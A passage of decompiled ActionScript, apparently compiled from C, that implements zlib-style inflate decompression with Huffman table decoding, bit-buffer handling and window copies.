_loc24_ = int(_loc24_ + -1); | |
} | |
while(_loc24_ != 0); | |
_loc21_ = int(_loc21_ - _loc67_); | |
_loc53_ = int(_loc22_ + _loc7_); | |
_loc53_ = int(_loc53_ + _loc12_); | |
_loc30_ = int(_loc13_ + _loc53_); | |
_loc26_ = int(_loc13_ + (int(_loc53_ - _loc19_))); | |
} | |
} | |
} | |
else | |
{ | |
_loc26_ = int(_loc62_ + (int(_loc60_ - _loc25_))); | |
_loc30_ = _loc13_; | |
if(uint(_loc25_) < uint(_loc21_)) | |
{ | |
_loc53_ = int(_loc7_ + _loc12_); | |
_loc53_ = int(_loc53_ - _loc13_); | |
_loc26_ = int(_loc53_ + _loc22_); | |
_loc24_ = int(_loc13_ + 1); | |
do | |
{ | |
_loc53_ = int(_loc58_ - _loc26_); | |
_loc53_ = li8(_loc53_); | |
si8(_loc53_,_loc24_); | |
_loc24_ = int(_loc24_ + 1); | |
_loc26_ = int(_loc26_ + -1); | |
} | |
while(_loc26_ != 0); | |
_loc51_ = int(_loc22_ + _loc7_); | |
_loc53_ = int(_loc51_ + (int(_loc12_ - _loc13_))); | |
_loc30_ = int(_loc13_ + _loc53_); | |
_loc26_ = int(_loc13_ + (int(_loc53_ - _loc19_))); | |
_loc21_ = int(_loc21_ - _loc25_); | |
} | |
} | |
if(uint(_loc21_) >= 3) | |
{ | |
_loc13_ = int(_loc30_ + 2); | |
_loc22_ = int(_loc26_ + 2); | |
do | |
{ | |
_loc53_ = li8(_loc22_ - 1); | |
si8(_loc53_,_loc13_ - 1); | |
_loc53_ = li8(_loc22_); | |
si8(_loc53_,_loc13_); | |
_loc53_ = li8(_loc22_ + 1); | |
si8(_loc53_,_loc13_ + 1); | |
_loc21_ = int(_loc21_ + -3); | |
_loc13_ = int(_loc13_ + 3); | |
_loc22_ = int(_loc22_ + 3); | |
} | |
while(uint(_loc21_) > 2); | |
_loc30_ = int(_loc13_ + -2); | |
_loc26_ = int(_loc22_ + -2); | |
} | |
_loc13_ = _loc30_; | |
if(_loc21_ != 0) | |
{ | |
_loc53_ = li8(_loc26_ + 1); | |
si8(_loc53_,_loc30_ + 1); | |
_loc13_ = int(_loc30_ + 1); | |
if(uint(_loc21_) >= 2) | |
{ | |
_loc53_ = li8(_loc26_ + 2); | |
si8(_loc53_,_loc30_ + 2); | |
_loc13_ = int(_loc30_ + 2); | |
} | |
} | |
} | |
else | |
{ | |
_loc25_ = int(2 - _loc12_); | |
_loc26_ = int(_loc25_ - _loc22_); | |
_loc29_ = 0 - _loc13_; | |
_loc32_ = _loc29_; | |
_loc31_ = _loc29_; | |
_loc36_ = _loc29_; | |
_loc34_ = _loc29_; | |
_loc19_ = _loc29_; | |
_loc13_ = _loc29_; | |
_loc12_ = _loc29_; | |
do | |
{ | |
_loc30_ = _loc31_; | |
_loc40_ = _loc36_; | |
_loc38_ = _loc34_; | |
_loc24_ = _loc13_; | |
_loc53_ = int(_loc26_ - _loc29_); | |
_loc51_ = li8(_loc53_ - 1); | |
_loc41_ = int(1 - _loc29_); | |
si8(_loc51_,_loc41_); | |
_loc51_ = li8(_loc53_); | |
_loc41_ = int(2 - _loc29_); | |
si8(_loc51_,_loc41_); | |
_loc53_ = li8(_loc53_ + 1); | |
_loc51_ = int(3 - _loc29_); | |
si8(_loc53_,_loc51_); | |
_loc21_ = int(_loc21_ + -3); | |
_loc29_ = _loc29_ + -3; | |
_loc32_ = int(_loc32_ + -3); | |
_loc31_ = int(_loc30_ + -3); | |
_loc36_ = int(_loc40_ + -3); | |
_loc34_ = int(_loc38_ + -3); | |
_loc19_ = int(_loc19_ + -3); | |
_loc13_ = int(_loc24_ + -3); | |
_loc12_ = int(_loc12_ + -3); | |
} | |
while(uint(_loc21_) > 2); | |
_loc13_ = int(0 - _loc32_); | |
if(_loc21_ != 0) | |
{ | |
_loc53_ = int(_loc25_ - _loc22_); | |
_loc53_ = int(_loc53_ - _loc30_); | |
si8(li8(_loc53_ + 2),int(4 - _loc38_)); | |
_loc13_ = int(1 - _loc19_); | |
if(uint(_loc21_) >= 2) | |
{ | |
_loc53_ = int(_loc25_ - _loc22_); | |
_loc53_ = int(_loc53_ - _loc40_); | |
si8(li8(_loc53_ + 3),int(5 - _loc24_)); | |
_loc13_ = int(2 - _loc12_); | |
} | |
} | |
} | |
} | |
else | |
{ | |
_loc53_ = _loc20_ & 64; | |
if(_loc53_ == 0) | |
{ | |
_loc53_ = 1 << _loc20_; | |
_loc53_ = int(_loc53_ + -1); | |
_loc53_ = _loc53_ & _loc19_; | |
_loc20_ = int(_loc53_ + _loc22_); | |
continue; | |
} | |
si32(29,_loc50_); | |
_loc20_ = _loc19_; | |
_loc23_ = _loc12_; | |
break loop15; | |
} | |
} | |
} | |
else | |
{ | |
_loc53_ = _loc20_ & 64; | |
if(_loc53_ == 0) | |
{ | |
_loc53_ = 1 << _loc20_; | |
_loc53_ = int(_loc53_ + -1); | |
_loc53_ = _loc53_ & _loc19_; | |
_loc21_ = int(_loc53_ + _loc21_); | |
continue; | |
} | |
_loc53_ = _loc20_ & 32; | |
if(_loc53_ != 0) | |
{ | |
si32(11,_loc50_); | |
_loc20_ = _loc19_; | |
_loc23_ = _loc12_; | |
break; | |
} | |
si32(29,_loc50_); | |
_loc20_ = _loc19_; | |
_loc23_ = _loc12_; | |
break; | |
} | |
} | |
if(uint(_loc23_) < uint(_loc54_)) | |
{ | |
_loc19_ = _loc20_; | |
_loc12_ = _loc23_; | |
if(uint(_loc13_) >= uint(_loc56_)) | |
{ | |
break; | |
} | |
continue loop14; | |
} | |
break; | |
} | |
_loc53_ = int(_loc17_ >>> 3); | |
_loc51_ = int(1 - _loc53_); | |
_loc43_ = int(_loc23_ + _loc51_); | |
si32(_loc43_,_loc68_ - 1128); | |
_loc60_ = int(_loc13_ + 1); | |
si32(_loc60_,_loc68_ - 1116); | |
_loc58_ = int(_loc23_ - _loc53_); | |
_loc52_ = _loc17_ & 7; | |
_loc53_ = 1 << _loc52_; | |
_loc53_ = int(_loc53_ + -1); | |
_loc65_ = _loc53_ & _loc20_; | |
if(uint(_loc58_) < uint(_loc54_)) | |
{ | |
_loc54_ = int(_loc54_ - _loc58_); | |
} | |
else | |
{ | |
_loc54_ = int(_loc54_ - _loc58_); | |
} | |
_loc54_ = int(_loc54_ + 5); | |
si32(_loc54_,_loc35_); | |
if(uint(_loc13_) < uint(_loc56_)) | |
{ | |
_loc56_ = int(_loc56_ - _loc13_); | |
} | |
else | |
{ | |
_loc56_ = int(_loc56_ - _loc13_); | |
} | |
_loc56_ = int(_loc56_ + 257); | |
si32(_loc56_,_loc68_ - 1112); | |
si32(_loc65_,_loc50_ + 56); | |
si32(_loc52_,_loc50_ + 60); | |
_loc52_ = li32(_loc48_ + 60); | |
_loc50_ = li32(_loc48_ + 56); | |
_loc53_ = li32(_loc48_); | |
if(_loc53_ == 11) | |
{ | |
si32(-1,_loc48_ + 7108); | |
break loop29; | |
} | |
break loop29; | |
} | |
} | |
} | |
_loc46_ = 0; | |
si32(_loc46_,_loc48_ + 7108); | |
_loc53_ = li32(_loc48_ + 84); | |
_loc53_ = 1 << _loc53_; | |
_loc62_ = int(_loc53_ + -1); | |
_loc58_ = li32(_loc48_ + 76); | |
while(true) | |
{ | |
_loc53_ = _loc50_ & _loc62_; | |
_loc53_ = _loc53_ << 2; | |
_loc67_ = int(_loc58_ + _loc53_); | |
_loc65_ = li8(_loc67_ + 1); | |
if(uint(_loc65_) > uint(_loc52_)) | |
{ | |
if(_loc54_ != _loc46_) | |
{ | |
_loc53_ = int(_loc43_ + _loc46_); | |
_loc53_ = li8(_loc53_); | |
_loc53_ = _loc53_ << _loc52_; | |
_loc50_ = int(_loc53_ + _loc50_); | |
_loc52_ = int(_loc52_ + 8); | |
_loc46_ = int(_loc46_ + 1); | |
continue; | |
} | |
_loc43_ = int(_loc43_ + _loc46_); | |
_loc65_ = 0; | |
} | |
else | |
{ | |
_loc62_ = li16(_loc67_ + 2); | |
_loc8_ = li8(_loc67_); | |
_loc6_ = int(_loc54_ - _loc46_); | |
_loc7_ = _loc43_ + _loc46_; | |
_loc9_ = 0; | |
_loc67_ = _loc9_; | |
if(_loc8_ != 0) | |
{ | |
_loc9_ = 0; | |
_loc67_ = _loc8_; | |
if((_loc8_ & 240) == 0) | |
{ | |
_loc7_ = _loc43_ + _loc46_; | |
_loc53_ = 1 << int(_loc65_ + _loc8_); | |
_loc67_ = int(_loc53_ + -1); | |
_loc9_ = 0; | |
while(true) | |
{ | |
_loc6_ = int(_loc54_ + _loc9_); | |
_loc53_ = _loc50_ & _loc67_; | |
_loc53_ = int(_loc53_ >>> _loc65_); | |
_loc53_ = int(_loc53_ + _loc62_); | |
_loc53_ = _loc53_ << 2; | |
_loc8_ = int(_loc58_ + _loc53_); | |
_loc43_ = li8(_loc8_ + 1); | |
_loc53_ = int(_loc43_ + _loc65_); | |
if(uint(_loc53_) > uint(_loc52_)) | |
{ | |
if(_loc6_ != _loc46_) | |
{ | |
_loc53_ = int(_loc7_ - _loc9_); | |
_loc53_ = li8(_loc53_); | |
_loc53_ = _loc53_ << _loc52_; | |
_loc50_ = int(_loc53_ + _loc50_); | |
_loc52_ = int(_loc52_ + 8); | |
_loc9_ = int(_loc9_ + -1); | |
continue; | |
} | |
_loc43_ = int(_loc7_ - _loc9_); | |
_loc65_ = 0; | |
} | |
else | |
{ | |
_loc67_ = li8(_loc8_); | |
_loc62_ = li16(_loc8_ + 2); | |
si32(_loc65_,_loc48_ + 7108); | |
_loc52_ = int(_loc52_ - _loc65_); | |
_loc50_ = int(_loc50_ >>> _loc65_); | |
_loc6_ = int(_loc6_ - _loc46_); | |
_loc7_ = _loc7_ - _loc9_; | |
_loc9_ = _loc65_; | |
_loc65_ = _loc43_; | |
} | |
} | |
} | |
} | |
_loc53_ = int(_loc65_ + _loc9_); | |
si32(_loc53_,_loc48_ + 7108); | |
_loc53_ = _loc62_ & 65535; | |
si32(_loc53_,_loc48_ + 64); | |
_loc52_ = int(_loc52_ - _loc65_); | |
_loc50_ = int(_loc50_ >>> _loc65_); | |
_loc43_ = _loc67_ & 255; | |
if(_loc43_ == 0) | |
{ | |
si32(25,_loc48_); | |
_loc54_ = _loc6_; | |
_loc43_ = _loc7_; | |
break loop29; | |
} | |
_loc53_ = _loc67_ & 32; | |
if(_loc53_ != 0) | |
{ | |
si32(-1,_loc48_ + 7108); | |
si32(11,_loc48_); | |
_loc54_ = _loc6_; | |
_loc43_ = _loc7_; | |
break loop29; | |
} | |
_loc53_ = _loc43_ & 64; | |
if(_loc53_ != 0) | |
{ | |
si32(29,_loc48_); | |
_loc54_ = _loc6_; | |
_loc43_ = _loc7_; | |
break loop29; | |
} | |
_loc58_ = _loc43_ & 15; | |
si32(_loc58_,_loc48_ + 72); | |
si32(21,_loc48_); | |
_loc54_ = _loc6_; | |
_loc43_ = _loc7_; | |
} | |
} | |
} | |
break; | |
} | |
} | |
continue; | |
} | |
} | |
else | |
{ | |
_loc65_ = li32(_loc48_ + 104); | |
addr4466: | |
_loc53_ = _loc65_ << 1; | |
_loc62_ = int(_order_2E_2443 + _loc53_); | |
_loc46_ = int(_loc65_ + 1); | |
while(true) | |
{ | |
_loc58_ = int(_loc65_ + 1); | |
_loc53_ = li32(_loc48_ + 92); | |
if(uint(_loc65_) >= uint(_loc53_)) | |
{ | |
if(uint(_loc65_) < 19) | |
{ | |
while(true) | |
{ | |
_loc53_ = li16(_loc62_); | |
_loc53_ = _loc53_ << 1; | |
_loc53_ = int(_loc48_ + _loc53_); | |
si16(0,_loc53_ + 112); | |
si32(_loc46_,_loc48_ + 104); | |
_loc46_ = int(_loc46_ + 1); | |
_loc62_ = int(_loc62_ + 2); | |
if(_loc46_ != 20) | |
{ | |
continue; | |
} | |
break; | |
} | |
} | |
si32(_loc66_,_loc48_ + 108); | |
si32(_loc66_,_loc48_ + 76); | |
si32(7,_loc48_ + 84); | |
_loc5_ = int(_loc5_ - 32); | |
si32(_loc47_,_loc5_ + 20); | |
si32(_loc39_,_loc5_ + 16); | |
si32(_loc33_,_loc5_ + 12); | |
si32(19,_loc5_ + 8); | |
si32(_loc45_,_loc5_ + 4); | |
si32(0,_loc5_); | |
ESP = _loc5_; | |
F_inflate_table(); | |
_loc5_ = int(_loc5_ + 32); | |
_loc61_ = int(eax); | |
if(_loc61_ != 0) | |
{ | |
si32(29,_loc48_); | |
continue loop7; | |
} | |
_loc67_ = 0; | |
si32(_loc67_,_loc48_ + 104); | |
si32(18,_loc48_); | |
_loc61_ = _loc67_; | |
§§goto(addr4711); | |
} | |
else | |
{ | |
while(uint(_loc52_) < 3) | |
{ | |
_loc65_ = 0; | |
if(_loc54_ != 0) | |
{ | |
_loc53_ = li8(_loc43_); | |
_loc53_ = _loc53_ << _loc52_; | |
_loc50_ = int(_loc53_ + _loc50_); | |
_loc52_ = int(_loc52_ + 8); | |
_loc43_ = int(_loc43_ + 1); | |
_loc54_ = int(_loc54_ + -1); | |
continue; | |
} | |
} | |
_loc53_ = li16(_loc62_); | |
_loc53_ = _loc50_ & 7; | |
si16(_loc53_,int(_loc48_ + (_loc53_ << 1)) + 112); | |
si32(_loc58_,_loc48_ + 104); | |
_loc46_ = int(_loc46_ + 1); | |
_loc62_ = int(_loc62_ + 2); | |
_loc52_ = int(_loc52_ + -3); | |
_loc50_ = int(_loc50_ >>> 3); | |
_loc65_ = _loc58_; | |
continue; | |
} | |
} | |
} | |
} | |
else | |
{ | |
while(true) | |
{ | |
if(uint(_loc52_) >= 14) | |
{ | |
_loc53_ = _loc50_ & 31; | |
_loc53_ = int(_loc53_ + 257); | |
si32(_loc53_,_loc48_ + 96); | |
_loc51_ = int(_loc50_ >>> 5); | |
_loc51_ = _loc51_ & 31; | |
_loc65_ = int(_loc51_ + 1); | |
si32(_loc65_,_loc48_ + 100); | |
_loc51_ = int(_loc50_ >>> 10); | |
_loc51_ = _loc51_ & 15; | |
_loc51_ = int(_loc51_ + 4); | |
si32(_loc51_,_loc48_ + 92); | |
_loc52_ = int(_loc52_ + -14); | |
_loc50_ = int(_loc50_ >>> 14); | |
if(uint(_loc53_) <= 286) | |
{ | |
if(uint(_loc65_) < 31) | |
{ | |
_loc65_ = 0; | |
si32(_loc65_,_loc48_ + 104); | |
si32(17,_loc48_); | |
§§goto(addr4466); | |
} | |
} | |
si32(29,_loc48_); | |
continue loop7; | |
} | |
_loc65_ = 0; | |
if(_loc54_ != 0) | |
{ | |
_loc53_ = li8(_loc43_); | |
_loc53_ = _loc53_ << _loc52_; | |
_loc50_ = int(_loc53_ + _loc50_); | |
_loc52_ = int(_loc52_ + 8); | |
_loc54_ = int(_loc54_ + -1); | |
_loc43_ = int(_loc43_ + 1); | |
continue; | |
} | |
} | |
} | |
} | |
else if(_loc46_ <= 20) | |
{ | |
if(_loc46_ != 19) | |
{ | |
if(_loc46_ != 20) | |
{ | |
§§goto(addr9328); | |
} | |
} | |
else | |
{ | |
§§goto(addr5516); | |
} | |
§§goto(addr5520); | |
} | |
else if(_loc46_ != 21) | |
{ | |
if(_loc46_ != 22) | |
{ | |
§§goto(addr9328); | |
} | |
else | |
{ | |
addr7562: | |
_loc53_ = li32(_loc48_ + 88); | |
_loc53_ = 1 << _loc53_; | |
_loc46_ = int(_loc53_ + -1); | |
_loc62_ = li32(_loc48_ + 80); | |
_loc58_ = 0; | |
while(true) | |
{ | |
_loc53_ = _loc50_ & _loc46_; | |
_loc53_ = _loc53_ << 2; | |
_loc67_ = int(_loc62_ + _loc53_); | |
_loc65_ = li8(_loc67_ + 1); | |
if(uint(_loc65_) > uint(_loc52_)) | |
{ | |
if(_loc54_ != _loc58_) | |
{ | |
_loc53_ = int(_loc43_ + _loc58_); | |
_loc53_ = li8(_loc53_); | |
_loc53_ = _loc53_ << _loc52_; | |
_loc50_ = int(_loc53_ + _loc50_); | |
_loc52_ = int(_loc52_ + 8); | |
_loc58_ = int(_loc58_ + 1); | |
continue; | |
} | |
_loc43_ = int(_loc43_ + _loc58_); | |
_loc65_ = 0; | |
} | |
else | |
{ | |
_loc46_ = li16(_loc67_ + 2); | |
_loc6_ = li8(_loc67_); | |
_loc53_ = _loc6_ & 240; | |
if(_loc53_ != 0) | |
{ | |
_loc43_ = int(_loc43_ + _loc58_); | |
_loc54_ = int(_loc54_ - _loc58_); | |
_loc62_ = li32(_loc48_ + 7108); | |
} | |
else | |
{ | |
_loc7_ = _loc43_ + _loc58_; | |
_loc53_ = 1 << int(_loc65_ + _loc6_); | |
_loc6_ = int(_loc53_ + -1); | |
_loc9_ = 0; | |
while(true) | |
{ | |
_loc43_ = int(_loc54_ + _loc9_); | |
_loc53_ = _loc50_ & _loc6_; | |
_loc53_ = int(_loc53_ >>> _loc65_); | |
_loc53_ = int(_loc53_ + _loc46_); | |
_loc53_ = _loc53_ << 2; | |
_loc8_ = int(_loc62_ + _loc53_); | |
_loc67_ = li8(_loc8_ + 1); | |
_loc53_ = int(_loc67_ + _loc65_); | |
if(uint(_loc53_) > uint(_loc52_)) | |
{ | |
if(_loc43_ != _loc58_) | |
{ | |
_loc53_ = int(_loc7_ - _loc9_); | |
_loc53_ = li8(_loc53_); | |
_loc53_ = _loc53_ << _loc52_; | |
_loc50_ = int(_loc53_ + _loc50_); | |
_loc52_ = int(_loc52_ + 8); | |
_loc9_ = int(_loc9_ + -1); | |
continue; | |
} | |
_loc43_ = int(_loc7_ - _loc9_); | |
_loc65_ = 0; | |
} | |
else | |
{ | |
_loc6_ = li8(_loc8_); | |
_loc46_ = li16(_loc8_ + 2); | |
_loc53_ = li32(_loc48_ + 7108); | |
_loc62_ = int(_loc53_ + _loc65_); | |
si32(_loc62_,_loc48_ + 7108); | |
_loc52_ = int(_loc52_ - _loc65_); | |
_loc50_ = int(_loc50_ >>> _loc65_); | |
_loc54_ = int(_loc43_ - _loc58_); | |
_loc43_ = int(_loc7_ - _loc9_); | |
_loc65_ = _loc67_; | |
} | |
} | |
} | |
_loc53_ = int(_loc65_ + _loc62_); | |
si32(_loc53_,_loc48_ + 7108); | |
_loc52_ = int(_loc52_ - _loc65_); | |
_loc50_ = int(_loc50_ >>> _loc65_); | |
_loc53_ = _loc6_ & 64; | |
if(_loc53_ != 0) | |
{ | |
si32(29,_loc48_); | |
continue loop7; | |
} | |
addr7875: | |
addr7978: | |
_loc53_ = _loc46_ & 65535; | |
si32(_loc53_,_loc48_ + 68); | |
_loc58_ = _loc6_ & 255 & 15; | |
si32(_loc58_,_loc48_ + 72); | |
si32(23,_loc48_); | |
if(_loc58_ != 0) | |
{ | |
while(true) | |
{ | |
if(uint(_loc58_) <= uint(_loc52_)) | |
{ | |
_loc53_ = 1 << _loc58_; | |
_loc53_ = li32(_loc48_ + 68); | |
_loc53_ = int(_loc53_ + (_loc50_ & int(_loc53_ + -1))); | |
si32(_loc53_,_loc48_ + 68); | |
_loc53_ = li32(_loc48_ + 7108); | |
_loc53_ = int(_loc53_ + _loc58_); | |
si32(_loc53_,_loc48_ + 7108); | |
_loc52_ = int(_loc52_ - _loc58_); | |
_loc50_ = int(_loc50_ >>> _loc58_); | |
} | |
else | |
{ | |
_loc65_ = 0; | |
if(_loc54_ != 0) | |
{ | |
_loc53_ = li8(_loc43_); | |
_loc53_ = _loc53_ << _loc52_; | |
_loc50_ = int(_loc53_ + _loc50_); | |
_loc52_ = int(_loc52_ + 8); | |
_loc43_ = int(_loc43_ + 1); | |
_loc54_ = int(_loc54_ + -1); | |
continue; | |
} | |
} | |
} | |
} | |
si32(24,_loc48_); | |
_loc65_ = _loc54_; | |
if(_loc56_ != 0) | |
{ | |
_loc54_ = int(_loc64_ - _loc56_); | |
_loc58_ = li32(_loc48_ + 68); | |
if(uint(_loc58_) > uint(_loc54_)) | |
{ | |
_loc46_ = int(_loc58_ - _loc54_); | |
_loc53_ = li32(_loc48_ + 44); | |
if(uint(_loc53_) < uint(_loc46_)) | |
{ | |
_loc53_ = li32(_loc48_ + 7104); | |
if(_loc53_ != 0) | |
{ | |
si32(29,_loc48_); | |
_loc54_ = _loc65_; | |
continue loop7; | |
} | |
} | |
_loc54_ = li32(_loc48_ + 48); | |
if(uint(_loc54_) < uint(_loc46_)) | |
{ | |
_loc46_ = int(_loc46_ - _loc54_); | |
_loc53_ = li32(_loc48_ + 40); | |
_loc53_ = li32(_loc48_ + 52); | |
_loc58_ = int(_loc53_ + (int(_loc53_ - _loc46_))); | |